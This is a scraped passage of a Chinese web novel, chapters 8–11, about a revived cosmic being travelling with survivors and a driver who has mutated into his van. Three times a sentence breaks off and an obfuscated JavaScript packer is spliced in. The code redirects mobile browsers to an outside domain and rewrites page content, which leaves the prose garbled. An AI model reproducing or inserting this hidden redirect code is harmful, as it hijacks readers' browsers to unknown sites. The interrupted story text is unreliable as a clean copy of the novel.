最后严卓打开袋子的时候,一缕细细的橙红色的细烟袅袅升起。 香辣芝士味的。 顾瑞生屈服了。 他拿起一块沾满调味料的鸡胸肉冻干塞进嘴里,随后差点流下感动的泪水。 袋子哗啦哗啦的声音引起了谢临川的注意,他下意识回头,正巧看见两人分食鸡胸肉冻干的场景。 在看清两人具体是谁之后,谢临川沉默了两秒,随后眼睛里划过一道诡异的光。 8. 第 8 章 就在顾瑞生嚼冻干的时候,突然,他的耳朵捕捉到了什么声音。 他停下了嘴里的动作,警惕地站直了身子,向声音传来的方向眺望。 严卓第一时间发现了顾瑞生的异常:“怎么了?” 顾瑞生皱着眉:“我听到了奇怪的声音。” 严卓侧耳,“奇怪的声音?” 顾瑞生点了点头,表情凝重中带着些许茫然。 低沉的嗡鸣,越来越近,里面好像还夹杂着什么东西泵送的声音。 就像是……汽车发动机的声音。 很快,一辆灰白色的面包车从街道的拐角处一个漂移闪现出来,在顾瑞生反应过来之前飞速疾驰到了大学城的门口,伴随着轮胎和地面摩擦的刺耳尖啸,稳稳地停下。 车窗被摇了下来,一个看上去五十出头的男人出现在大家眼前。 顾瑞生注意到他嘴边和手掌的位置都带着几条长短不一的疤痕。 司机反手指了指车内,面包车侧面的拉门应声打开。 “上车。” 一直到其他人自觉将不多的行李都搬进车里,顾瑞生都处于震撼之中。 他抓住了路过的程老:“我们现在是有车的?” 说着说着,好像哪里不对,他又道:“我的意思是,车是能动的?” …… 等等,好像更不对了。 但好在程老理解了他的意思,沉默两秒后,道:“他的情况有些特殊。” 两人间的对话正巧也被开车的司机听见,他半边胳膊耷拉在窗户上,十分自豪地说:“目前已知的独一份。” 他拍拍自己的车,梆梆响。 顾瑞生一边肃然起敬,一边觉得好像还是哪里不对。 司机的思维挺跳跃的,在搭完话便无缝扭身指挥其他人放行李去了。 程老趁着这个机会小声和顾瑞生说:“你一会如果感兴趣,可以和他聊一聊,郑师傅为人很健谈。” 等到上车之后,顾瑞生终于意识到了之前违和感的来源,以及程老语焉不详的原因。 郑师傅的下半身是和座位连在一起的。 或者说,他整个人像是从座位上“长出来”的。 虽然大部分的连接处都已经被一条轻薄的毯子盖住,但对方后腰的位置也有一部分和靠背融为一体。 在顾瑞生的注视下,那部分突然蠕动了一下。 “哦,不好意思,又长了点。” 郑师傅发现了顾瑞生的视线,拉了拉腿上的毯子,扯起一角塞进后背夹着,这才将所有异常都一起盖住。 做完这一切,郑师傅又去观察顾瑞生的脸色。 见青年表情如常,他拍了拍自己的副驾驶。 顾瑞生坐了上去。 严卓本来正在后面搬行李,见状自己选择了最后一排靠窗的位置。 他一开始想用自己和顾瑞生的背包占上自己旁边的座位。 但原本打算在第一排坐下的程老发现了他的小动作,大步走来,就像看不见座位上的背包一样,直挺挺地就要往下坐。 严卓眼疾手快将背包抽出来抱在怀里。 程老坐下之后还扭了扭身子,变换一个舒适的姿势,随后抱着胳膊倚着靠背不动了。 严卓看了他两眼,慢吞吞地将没吃完的加工版鸡肉冻干收回背包里,随后从里面拿了本书出来。 程老偷瞥了一眼,发现那封面上写着一排大字—— 《想抓住男人的心,先抓住男人的胃,30天教你成为完美妻子》 程老:“……” 他绝望地闭上了眼睛。 随后觉得自己不能瞑目又睁开了。 “我其实没反对你谈恋爱,小顾本身也是个好孩子,人性格又好,长得还好看,配你绰绰有余。” 程老以退为进,只是过程中难免带点个人情绪,“但是你现在这个状态,我怎么好意思把你交到人家手上?” 严卓将书翻开到上次看到的位置,拿出笔,将菜谱中其中一个已经在沉眠纪元中绝版了的调料圈起,在旁边写下可能的替代方案。 “我现在什么状态?” 程老看着他这样只觉血压一股股往脑袋上涌。 你说呢??? 谢临川装作漫不经心地坐到程老的另一边,过程中也瞥见了严卓手上的“教材”,瞳孔地震。 剩下的人也都一一入座,郑师傅调整了一下后视镜,确认情况,“都坐好了是吧?坐好了我就发车了。” 顾瑞生想起之前郑师傅与面包车初登场时的场景,握紧了胸前的安全带。 这个面包车从外看上去不算太大,但很能装,除了驾驶和副驾驶那排之外还有三排,前两排是2+1结构,中间有极窄的过道供人来去,最后一排是一整个长座,正常是三人座,挤一挤可以坐四个。 一眼望去还算正常。 第二眼起连顾瑞生都看得出是非法改装。 也就是说,这辆面包车看上去是刚刚满员,但其实不知道超载了多少。 郑师傅不知是没发现顾瑞生的小心思,还是干脆乐在其中,他一脚油门下去,顾瑞生便体会到了当初被静滞之瞳带着飘都没感受过的推背感。 面包车像离弦的箭一样,在街道上横冲直撞。 郑师傅在顾瑞生惊惧的目光下手离方向盘,从身后掏出一个带吸管的保温杯,嘬了一口。 顾瑞生觉得自己闻到了汽油的味道。 “有人请我给你讲个故事,你随便听听就好。” 顾瑞生动作停顿了一下,视线从保温杯上移到郑师傅的脸上。 “我是个‘信息茧’。” 他用保温杯碰了碰方向盘,“这是从我这个‘茧’里孵出来的东西。” “大概在两个月前,我不小心接触了个奇怪的东西并受伤,伤口处开始流一些怪模怪样的玩意,本来大概是没救了的。” “但我的队友并没有放弃我,他们夜以继日地照顾我……这部分就不细说了,大部分的‘信息茧’都是这么个诞生流程,不小心接触了那些东西,但幸运地没死。” “醒来之后,我的脑海中多出了一段记忆……这段好像也没什么好讲的,大家都这样。” 顾瑞生:“……” 他安静地坐在副驾驶上,听着郑师傅一个个略过对方觉得并不重要的部分。 大概五分钟后,郑师傅突然激动地拍了一下方向盘,带着喇叭也短促地响了一下。 “嘟——!” 顾瑞生倏地挺直后背。 郑师傅:“对了,这事你得听一听。” 他回忆道:“我的同伴说我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074248|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昏迷的时候一直在说一些让人听不懂的话,下半身也是从那时开始摸起来触感逐渐变得奇怪,后来先是座椅,再是其他部分,很快就长出了一整辆车来。” 随着回忆,他的语调越来越沉,好像整个人都进入了某种微妙的状态。 突然,他吐出了几个断断续续的奇怪音节:“【……&*……?@……】” 顾瑞生眼皮一跳,瞬间睁大眼睛。 但好在,郑师傅很快便从这种无法形容的状态中抽身,长长地“嗯”了一声,“差不多就是这样了吧,真没什么可说的……要不要你先自己玩一会,帮我把程老叫来,我和他研究个事。” 顾瑞生沉默半晌,又看了他两眼,回头望向面包车最后的位置,程老原本正在和严卓不知道念叨着什么,感受到了他的视线后立刻收了声,对着顾瑞生露出一个慈祥的微笑。 “郑师傅想和您谈谈。” 顾瑞生高声道。 “来了。” 临走前,程老瞪了严卓一眼,“你给我老实点。” 谢临川正在偷听,身边人一动,他立刻装作自己很忙的样子,却不小心撞到了前排的座椅,把前面正闭目养神的中年人吓了一跳。 顾瑞生原本还在想刚才的事情,听到声音下意识望去,又在发现没什么大事后便收回视线。 在和程老擦身而过的时候,顾瑞生小声说:“谢谢。” 顾瑞生知道,这是程老给自己找的“课外辅导”。 自顾瑞生再次强调自己和其它“信息茧”并不相同之后,程老便没有再在他的面前提过。 但是顾瑞生知道,对方并没有相信,并且一直试图教他一些“信息茧必备小常识”。 实际上后来冷静下来,顾瑞生自己也觉得自己的存在很扯。 比如现在要是有人突然跳出来,说自己是静滞之瞳,那他也只会觉得对方头脑不清醒。 程老所做的一切都只是关心他而已。 程老拍了拍他的胳膊,没说什么。 在程老原本的位置坐下时,顾瑞生还在思考郑师傅的状态,和对方那句看似意义不明的呢喃。 顾瑞生认出,那其实是宇宙中某个早已灭亡的文明的语言。 翻译过来的话,只有两个字。 【圣髓】 这是顾瑞生在宇宙中的尊称之一。 郑师傅是被他污染的。 顾瑞生深吸一口气,严卓听到声音侧头看他,“怎么了?” “没什么。” 为了转移话题,顾瑞生视线自然地落在严卓的手上,“你在看什么?” 《想抓住男人的心,先抓住男人的胃,30天教你成为完美妻子》的内页色彩丰富,极其抓眼,虽然一开始只是想找个借口,但顾瑞生立刻就被上面看上去就很好吃的各种美食特写吸引住了心神。 谢临川忍不住竖起耳朵,感觉自己浑身上下的肌肉都绷紧了。 严卓面色不变,甚至将封面那个留着短发拿着炒勺,面上全是自信微笑的年轻女人展示给顾瑞生,“食谱。” “这样啊。” 顾瑞生想起了之前的鸡胸肉,点了点头,“加油,你挺有天赋的。” 因为顾瑞生一表人才,所以没意识到对方其实不认字的谢临川:“…………” ??? 9. 第 9 章 顾瑞生他们是早上大约八九点的时候出发,目标明确一路向东南方向前进。 两个小时之后,他们决定停下来短暂休整片刻,因为郑师傅饿了。 于是他们停在了附近的某个加油站。 在车上闻到郑师傅保温杯里汽油的味道时,顾瑞生便猜测对方身上的变异已经影响到了日常饮食,但真正见证这一刻的时候,他的思维还是忍不住开始发散。 加油的话……要往哪里加? 顾瑞生下车的时候没忍住朝着面包车后身油箱的位置看了一眼。 但实际上郑师傅的进食方式和他想象中的并不同。 中年人将车开到98号汽油的加油泵旁,狠锤一下显示屏。 原本显然已经废弃多时的显示屏不知为什么就这么亮了,上面甚至还显示了当年的油价,8.22/L。 随后郑师傅拿下油枪,怼进嘴里,按下按钮,开灌。 显示屏上的数字飞速攀升,很快便来到了四位数,并最终停在了1279.5。 顾瑞生在心底掐算了一下。 看来作为面包车,郑师傅还是个大胃王。 “幸亏不用真的付钱,不然我可喝不起98的。” 郑师傅把油枪放回原位,打了个嗝,“好了,我要午睡了,你们休息完了也别叫我,我醒了再走。” 顾瑞生:“……好的。” 顾瑞生点了点头向着大部队的方向走去。他们在远离加油站的安全位置支起一口锅。 程老本来计划着的是一次短途旅行,最多第二天就回来,所以并不想太麻烦,只打算到时候大家就地取材,随便吃点而已。 但严卓义正词严地说了很多,句句有道理,事事有论据,总之中心思想就是这次出门不带锅不行。 当时的程老被说服了。 现在的程老回过神来了。 什么都是假的,只有他在这个最没有防备的时代,遇见了最明目张胆的诈骗的事是真的。 顾瑞生回来的时候,严卓正在做最后的调味,他的小背包正敞开着放在铁锅的旁边,里面全是各种各样的调料瓶。 野外一般是做炖菜比较方便,但严卓并不满足于此,他在大概十五分钟之前,在程老“你给我适可而止”的注视下,从背包里掏出了一小袋面粉,往里加了点水和一点点的盐就开始和面。 严卓的手劲很大,很快面团便达到了理想状态,他将其分成大小适中的几段,放在水中简单浸泡,随后抻成薄薄的面饼,扔进锅里。 剩下的水也不会浪费,一会可以刷锅用。 面饼很薄,熟的也快,浸满了汤汁后颜色深了一些,看上去很有食欲。 严卓拿着勺子稍微尝了尝汤汁,随后眯着眼睛思忖片刻,从背包里拿出了一包没写名字的银色包装的调味料,撕开,洒入。 每个动作都说不出的潇洒,俨然一副厨神做派。 顾瑞生有一种给他鼓鼓掌的冲动。 大火稍微收了一部分汤汁,让最终的成品味道更加浓厚,严卓盛出一碗站起,第一个递给顾瑞生,“小心烫。” “谢谢。” 顾瑞生接过严卓递给他的碗和属于他自己的餐具,夹起一筷,简单吹了吹便放进嘴里。 严卓期待道:“味道怎么样?” 顾瑞生有些惊讶地望向碗里,“比想象中还好。” 严卓笑了,“那我下次还给你做。” 谢临川面无表情地从两人身后绕过,自己蹲下盛了一碗菜,又夹了个饼,随即又默默离开,蹲在角落里暗中观察那两人。 顾瑞生长得很好看,那种抓人的好看,扔进人群里一眼就能看见的好看,极端情况下谢临川可以拿来下饭的好看。 总而言之就是非常好看。 而本就顶级的皮囊,在加上顾瑞生周身那种独特的气质的时候,更是达成了一加一大于二的效果。 他形容不出来。 沉眠纪元降临之时,谢临川还是个小学生。 他曾经听过一个冷知识,说经历过创伤的人,心理年龄会永远停留在那个年纪。 沉眠纪元大概算得上是一场世界级别的创伤,谢临川虽然不知道自己的心理状态有没有停滞在那个年岁,反正他的知识储备是永远停留在当年那个水平了。 不过虽然不会形容顾瑞生的具体气质,但从第一眼见到对方开始,谢临川就有一种感觉。 他感觉顾瑞生和世界之间有一种若有若无的生疏感和距离感。 但谢临川不喜欢这样,他对顾瑞生莫名感到一股亲近,他想让对方开心。 之前他不知道到底应该怎么做,并多少意识到了初遇时没发挥好,半夜复盘的时候更是因此睡不着觉失眠了好久。 但现在,望着正坐在一次吃饭的两人,谢临川觉得他知道自己该干什么了。 顾瑞生莫名感觉背后一寒,打了个小小的喷嚏。 严卓立刻从他的百宝包中掏出纸抽递给顾瑞生。 顾瑞生接过后道了谢,恍惚之间第一反应是自己现在怎么拟人成这样。需要吃饭和睡觉就算了,怎么连打喷嚏这种细枝末节的功能都这么完善? 明明他之前已经检查过了,自己现在拥有的并不是人类的身体,而是顾瑞生的一小块能量碎片变型而成的拟态而已。 在顾瑞生收拾自己的时候,严卓一直帮他拿着碗,也注意到对方碗里有一种野菜剩的最多。 “是不喜欢这个味道吗?” 顾瑞生看了过去,点点头,“我觉得稍微有一点苦,我不喜欢吃苦味的东西,不过我不会浪费粮食的。” 严卓垂眸,“我知道了。” 顾瑞生迟疑了一下,突然问:“这个野菜是不是很常见?我的一个亲人也经常会做这个。” 他指的是李晒秋。 李晒秋做什么主要看小厨房里有什么,小厨房里有什么主要看其他人能捡到什么。 而这个稍微带点苦味的野菜算是小厨房的常客,每天两顿饭中,至少有一顿里有它。 严卓刚要解释,就被在两人背后晃悠了很久,终于找到了插话机会的程老打断,“这个菜耐寒,埋在地下的种子有一批没冻死,成了创新世纪中最早一批复苏的植物,而且产量又高,又不用打理,所以想吃新鲜食物的时候它便成了第一首选。” “不过你如果不喜欢的话也不用勉强,托苏教授的福,现在能吃的新鲜蔬菜还挺多的。” 顾瑞生听后沉默了两秒,“苏教授?” 程老:“对,苏教授之前好像就是研究这个的,现在也一直立志恢复地球生态,最近几年从野外收集回来不少复苏的植物样本,有一部分已经在基地试着种植了。” 顾瑞生这时想起来,最初见面的时候对方确实是在地面上挖着什么。 他的目光下意识地去寻找苏行止的身影,和他们不同,苏行止吃饭的速度很快,急匆匆进食结束后,就开始低着头四处寻觅有没有没被收集到的复生植物。 程老解释道:“我们这次的行动目标其实和苏教授的研究方向是不沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074249|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的,但苏教授在研究方面十分痴迷,不愿意放过这个出远门的机会,所以最后便跟着我们一起来了。” 好吧,顾瑞生看着那佝偻的背影想,也算是将功抵过,他原谅他了。 顾瑞生的视线落在苏行止的碗里,可能是为了让食物更快地冷却,方便入口,苏行止只盛了一个碗底的分量。 “……他吃那么少,一会会不会饿啊?” 程老笑了,“那你一会可以问问他吃不吃零食。” 顾瑞生下意识望向严卓,严卓向他敞开鼓鼓囊囊的背包,示意零食管够。 顾瑞生在原地嘀嘀咕咕又磨蹭了半天,最后借着添饭的机会不经意地将一小袋零食分给了苏行止,不顾对方接过冻干后复杂的眼神,潇洒离去。 几人吃完饭后简单收拾了下,但郑师傅休息的比所有人预想中的都要久,他们又等了一阵,差不多下午三四点的时候才重新出发,晚上六七点左右才到达目的地附近。 程老看了一眼天色,拍板决定,“今天先找个地方休息,明天正式开始。” 在场的人都没什么意见。 他们最终找到了附近的一个旅馆,郑师傅也跟着停到了旅馆大门前的空地上,熄火睡觉去了。 这个旅馆相对原始,还在用普通的钥匙,几人在前台的位置搜出了一大串,上面用透明胶标好了房间号。 找钥匙的过程,程老还不忘在登记入住的名册上写下他们的人数、联系方式和入住日期。 “这样如果旅馆的主人回来,或者任何其他人看见了,都可以来找我们。” 程老解释道。 分配房间的时候,程老第一个邀请顾瑞生一起。 正好他也有事想和程老商量,而且在场除了顾瑞生突然想起来其实该避嫌的严卓之外,就属程老和他最熟,便没拒绝。 严卓慢了一步,最后拿起两人旁边那间房间的钥匙,一个人走了。 谢临川原本还在暗中观察,见状反应了两秒,掰着手指数了一遍人,面露惊恐。 几人各自回房之后简单收拾了一下,过程中顾瑞生还发现,程老虽然年纪大了,但动作干净利落,对家务没那么熟悉的自己只有打下手的份。 短短不到半个小时,屋子里便被收拾成可以居住的模样,程老坐在自己的床位上休息,顾瑞生顺手便去拉窗帘。 靠近窗户的时候,他看见了楼下停着的面包车,也想起了自己想和程老商量的事情。 程老察觉到了他动作的停顿,“怎么了?” 顾瑞生转身望向对方,突然道:“我想试试能不能吸收掉郑师傅身上的能量。” 程老沉默半晌,叹了口气,“为什么会想这样?保持现状不好吗?” 顾瑞生:“第一,最简单的一点,郑师傅的状态很不好,如果什么都不做的话,他最多只能再坚持一个月。” “第二,” 顾瑞生停顿了一下,“人类现在还是太无力了,我需要拿回自己的力量。” 顾瑞生现在都不知道是谁出于什么原因让自己复生,这种未知的恐惧让他心里很是没底,总觉还会有更多预料之外的事情发生。 所以,快点拿回力量,对所有人都好。 程老试着顺着对方的话说下去,“但力量和感情只能有一个,你想过这个问题吗?” “这个不用担心。” 短暂的沉默后,顾瑞生浅浅地笑了下,“我有办法解决。” 既然鱼和熊掌不可兼得。 那就做个选择。 10. 第 10 章 程老沉默了,最终他退了一步,让顾瑞生明天自己去问郑师傅愿不愿意。 一夜无梦,但顾瑞生心里想着事情,第二天天刚亮他就醒了。 程老还没醒,顾瑞生便安静地收拾完,自己先出门了。 清晨的户外空气很好,他来到面包车的旁边,偷偷望向里面。 面包车的车窗上贴了膜,很黑。 顾瑞生把脸贴在副驾驶的玻璃上,用手挡着外面初升的日光,结果动作刚做到一半,就感觉手下的窗户开始移动,郑师傅的脸也随之逐渐显露。 顾瑞生:“……早上好?” “咔哒”一声,副驾驶的车门弹开,顾瑞生自觉地上车。 上车后,顾瑞生看到郑师傅的状态,愣了一下。 如果说昨天他看上去还能挺上一个月的话,那么现在的郑师傅体内的能量正处于一个微妙的平衡,何时突然恶化都不奇怪。 郑师傅好像对此一无所觉,他看着面前的青年问道:“是昨天有事情没听明白吗?” “没,都明白了。” 顾瑞生沉默了两秒,道:“只是想和你商量点事情。” 郑师傅:“什么事?” 顾瑞生:“你想回到正常人的生活吗?” 郑师傅没有疑惑顾瑞生为什么会突然问这种问题,他认真思考了片刻,道:“都行。” "活着也行,死了也行。当然,也许真死到临头的时候我就该后悔了,但现在我确实是这么想的。" 郑师傅看向顾瑞生:“突然问这个做什么?” 顾瑞生说他想试试能不能将能量吸收到自己身体里,郑师傅反问那不只是换个人死而已吗,没必要。 顾瑞生说不会的,那能量本身就是他的东西,郑师傅看了他两眼,大笑两声,没信。 顾瑞生思考了两秒,转身离开。 他想,自己也许应该先试着恢复一部分力量,这样别人就会知道他说的都是真的。 但那也是之后的事情了。 眼下他还是被郑师傅调笑着送下了车。 由于谈话遭遇滑铁卢,从顾瑞生出门到离车,一共才过去15分钟。 回去的路上顾瑞生原以为其他人应该都还没醒,结果半路竟然遇上了严卓。 顾瑞生有一瞬间的慌乱,但很快,他又反应过来。 不对啊,他慌什么。 他又没打算做什么不好的事情。 虽然话是这么说,但顾瑞生自己心底有一种若有似无的别扭,视线也开始乱飘。 严卓好像比顾瑞生起的还早,遇见时俨然一副刚从外面回来的模样,手上还握着一把新鲜的野菜。 注意到顾瑞生的目光,他抬手,展示自己的战利品,“这个和昨天的那种不一样。” “这个是甜的。” 顾瑞生盯着他看了一阵,“嗯”了一声。 两人一起准备早饭,严卓打算做蔬菜粥。顾瑞生生火的功夫,严卓迅速地将野菜清洗干净切成碎末,扔进锅里,稍微加了点盐和味精,又从背包里掏出了一袋风干了的牛肉薄片。 严卓抓了一小把扔进锅,搅了搅,随后十分自然地将袋子中剩下的大部分塞进顾瑞生的怀里,“这个是脆脆的,口味微咸,也好吃。” 说完他就继续熬粥去了。 顾瑞生接过零食,发现这牛肉脆片也是经过二次加工的,打开袋子时能闻到一股淡淡的咸香。 两人就这么挨在一起,一个负责做,一个负责吃,十分和谐。 直到其他人也陆陆续续醒来,严卓都没有询问顾瑞生为什么要起那么早。 谢临川眼底两道青黑,好像没太睡好,而程老好像有什么心事,也没空棒打鸳鸯,总体来说一整个早上都过的很平静。 而吃完饭后,就该干正事了。 顾瑞生望向程老。 虽然被程老邀请,并决定跟上来帮忙,但他其实并不知道这次行程的具体目的。 第一是因为程老自己也有意无意地没有告知,第二便是因为顾瑞生自己对此也没什么兴趣。 他知道自己说的都对,也知道程老他们必须重新验证这些结论才能真正安心。 所以顾瑞生此行对自己的定位就是保镖。 雇主想干什么就干,他不会干涉,只要人都活着回去就好。 他一开始就和程老说过自己的想法,对方也答应了。 不过,顾瑞生觉得——一般来说,要当保镖,就算不是贴身保护,也至少应该一同出行,对吧? 但程老好像不是这么想的。 临出发之前,发生了一些变故。 郑师傅的状态突然恶化,程老劝对方直接休息,反正目的地就在不远的地方,他们其他人走着去就好。 郑师傅没有拒绝,嘬着保温杯里在上个加油站新加的柴油提神。 顾瑞生站在一旁,没有吭声。 这一切都比他想象中要快得多。 就在他沉思的时候,程老突然看向顾瑞生,“你能留下陪郑师傅吗?” “稍等。” 顾瑞生跑到郑师傅身边,问:“你现在改变主意了吗?” 郑师傅愣了一下,过了两秒才反应过来,顾瑞生指的是早上时的谈话。 他认真思考了一下,摇摇头,“没有。” 顾瑞生示意自己知道了,回去找程老,“我留在这里也做不了什么,不如和你们一起走更有用处。” 程老叹了口气,“你不一定需要做什么才算是有用。” 顾瑞生不说话。 最终程老还是决定留下顾瑞生,带着其他人离开。 见程老已经下定决心,顾瑞生也没有死缠烂打的想法,只是在大部队离开之前,他叫住了严卓。 严卓听到他的呼唤后便安静地站在他的面前。 两人差个将近一个脑袋,严卓站在他面前可以将他整个人挡住,但可能是最近混得熟悉了一些,所以顾瑞生并没有感觉到初见时的压迫感,只觉得自己像是在面对某种大型犬。 顾瑞生为自己的联想笑了一下,随后在严卓疑惑的目光中拍了拍他的胳膊,“我想和你说个事情。” 严卓乖乖点头,“嗯。” “你还觉得自己喜欢我吗?” 严卓盯着他的眼睛,“嗯。” 顾瑞生深吸一口气:“那你以后换个人喜欢吧。” 严卓:“……” 顾瑞生能看见男人脸上表情的变化,一开始是迷茫,随便很快演变成了慌乱和紧张。 “为什么?是我打扰到你了吗?” 顾瑞生摇摇头,“不,我只是觉得你不应该在我身上浪费时间。” “我不要。” 严卓拒绝的很干脆,这让顾瑞生觉得有些头疼。 其实顾瑞生也知道,现在可能不是最好的提及这个事情的时机, 但他既然已经下定决心要一点点重新拿回力量,那就不能再拖了。 毕竟要不然的话,最后受伤的还是严卓自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074250|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 想着长痛不如短痛,顾瑞生说的话也更重了一些,“说到底,我们才刚刚认识,你根本就不了解我,说是喜欢,其实是见色起意吧?” 说到这里,他停顿了一下,“不,也不一定,毕竟这几天相处的时候,与其说你是在追求我,不如说是想和我做朋友,你是不是其实根本分不清友情和爱情啊?” 严卓受到的打击看上去好像比刚刚顾瑞生让他换个人喜欢的时候还要大。 一直到程老过来拉人,他都没彻底缓和过来。 顾瑞生觉得自己的良心有一点点的痛。 但他很快便调整好了情绪。 等程老的背影彻底消失在视线中后,顾瑞生默默开始收拾东西。 郑师傅喝完了最后一口柴油,将保温瓶顺着窗户扔了出去,“反正闲着也是闲着,上来坐一坐?” 顾瑞生拒绝道:“不了,我一会还有事要做。” 郑师傅手搭在车窗上看他,“你要偷偷跟上去?” 顾瑞生没说话,但答案已经很明显了。 郑师傅笑了,“你比看起来果决多了。” “来吧,上车,我送你过去。” 他邀请顾瑞生,“程老只说让你留下来陪我,可没说我不能跟上。” 顾瑞生直言:“你会死的更快的。” 郑师傅耸了耸肩,“这样至少最后还有个说话的人。” 顾瑞生看了他很久,再次上了车。 这次上车之后,他发现了和早上时不太一样的部分。 车内不知何时多出了许多贴纸,顶棚与副驾驶的位置最多,其它位置零零散散也有几个。 贴纸的图案大多是各种小花笑脸或者其它卡通角色,能看出是比较便宜的那种,部分切膜还有些错版,脸被割掉一边,另一边则留出月牙状的白边。 在昏暗无光的环境下,这些被切割了的脸叠在一起,好像在直勾勾地注视着车内的人,有一种说不出的诡异。 郑师傅解释道:“这有点像人类内分泌失调的时候会长痘,我状态不好的时候这些贴纸长得就会多一些。” 面包车是郑师傅异化的一部分,这确实说得通。 想到这里,顾瑞生突然意识到,这些部分应该同样富集着属于他的能量。 他看向副驾驶身侧的玻璃。 透明的玻璃的某处有一瞬间的模糊,好像只是一眨眼的功夫,便鼓起,扭曲,畸变,像是虚空中某种原本肉眼不可见的东西逐渐显现,并最终在顾瑞生的注视下变成了一个黄色笑脸贴纸。 “这个位置有贴纸的话会挡视线,我帮你撕……” 考虑到新贴纸的位置刚好会挡住侧后视镜,顾瑞生想都没想便将其撕去。 话还没说完,顾瑞生的动作便突然顿住。 笑脸如顾瑞生所想,是由能量变化而成,在接触到本体后在他手心中融成一团。 但笑脸中五官部分的黑线,它们并没有和顾瑞生相融,而是在他掌心扭动、飘荡,像黑色的虫。 郑师傅身上不止有顾瑞生的力量。 顾瑞生面无表情地将手一翻,那些黑色的虫一样的东西落在地上,重新和面包车融为一体。 车身上很快又浮现出另一个笑脸贴纸,比刚刚的更加扭曲。 顾瑞生缓缓扭头,郑师傅现在像个装满水的气球,离得近了几乎可以看清对方皮肤上的波动。 “啊……” 他用一种毫无波澜的死板语调说道,“【好疼。】” 11. 第 11 章 “你刚刚挺平静的,没什么反应。” 快要到达目的地的时候,程老眯起眼睛,打量着严卓,“不会是在偷偷使什么坏吧?” 说着,程老回身,想检查下一路上有没有留下什么不该有的痕迹。 严卓表情冷淡:“没有。” “真的?” “嗯。” 严卓并没有掩饰自己想法的打算,“我也有私心。” 程老看了他很久,收回了视线,“也是。” “你既然是最相信他的人,那大概也是现在最不想让他跟过来的人吧。” 严卓没有说话。 程老沉默了一会之后又问:“那你们刚刚在说什么?” 严卓:“…………” 毕竟也相处了有好几年,程老一眼便看出了严卓的异常。 在程老持之以恒的追问下,严卓哑着嗓子诉说了刚刚发生的事情。 “……” 程老沉思了片刻,总结道,“所以,他是觉得你太幼稚了?” 严卓:“他不是这么说的。” 程老没忍住笑出了声。 严卓看了程老半晌,突然问:“你之前和我说,在追求人成功之前,不能有哪怕一点的肢体接触,也不能经常和对方剖析自己的心理,不然就是耍流氓,这是真的吗?” 程老不吭声了。 其实原理确实是这个原理,程老只是在尺度把控上撒了一个小小的谎而已。 严卓盯着程老心虚的侧脸不说话。 交谈间,几人既然绕过了一个高耸的写字楼,眼前的景象豁然开朗。 程老深吸一口气,平复呼吸的同时,心也逐渐下沉,“我们到了。” 他们面前的场地原本是某个很有名的公园,平时人们喜欢在里面遛狗、散步、野营,环境很好,公园最中央的地方还有一个很大的人工湖。 程老年轻一些的时候还和人一起在湖上乘着鸭子船逛过几圈,那船需要乘客自己人工踩着踏板才能前进,对方总是喜欢踩到湖中央就耍赖,最后只能他一人出两份力,回家第二天大腿都是酸的。 而现在鸭子船早就搁浅了,暗色的泥沙凝固在船身和船首的鸭子上,卡通的五官被完全腐蚀,只剩下凹凸不平的、带着污渍的灰白色的脸。 一路走到原本湖泊的位置,几人齐齐停下,拿出自己背包中的装备,准备开始工作。 程老指着已经和记忆中完全不同了的湖泊,“就是这里了,五年前那场战争最后的遗址。“ 其中一个戴着眼镜的中年人有些迟疑,“你确定?” 程老语气坚定,“我确定。” 中年人犹豫着望向湖面。 他们眼前的湖泊此时正被黑洞般的、仿佛能将一切吸入其中的阴影笼罩,一眼看去,就像是第二个“禁区”。 “五年前那个时候我刚好在地面上,又恰好在离这不远的地方。” 程老回忆道,“我亲眼看见祂掉进了湖里,并以为自己见证了祂的陨落。” 戴眼镜的男人小声吐槽:“我怎么觉得祂的确不像还活着的样子。” “看上去可能确实是这样,但那是建立在我们最初以为的,这两种能量会互相消耗的基础上。” 程老分析道,“而根据我们最新得到的可能性,祂们不死不灭,彼此虽能互相吞噬,却并不相融,反而可能消化不良,甚至形成反噬。” “所以,我们这次的目的只有一个。” 程老抬手,指向湖面之下,苍老的手掌布满了皱纹,那是生命流逝的证明。 “我们要搞清楚,那下面的【圣髓】现在到底是什么状态。” 现场陷入了短暂的沉寂,几秒后,戴着眼镜的中年人问:“感觉怎么样,有被注视的感觉吗?” 程老仔细感受片刻,遗憾道,“没有。” 对方在本子上记了些什么,“那目前看来物理距离对实验结果影响不大。” “意料之中。” 和告知普通群众的不同,少部分人类其实已经大致得知了十三年前和五年前分别发生了什么,那两位的尊名当然也位列其中。 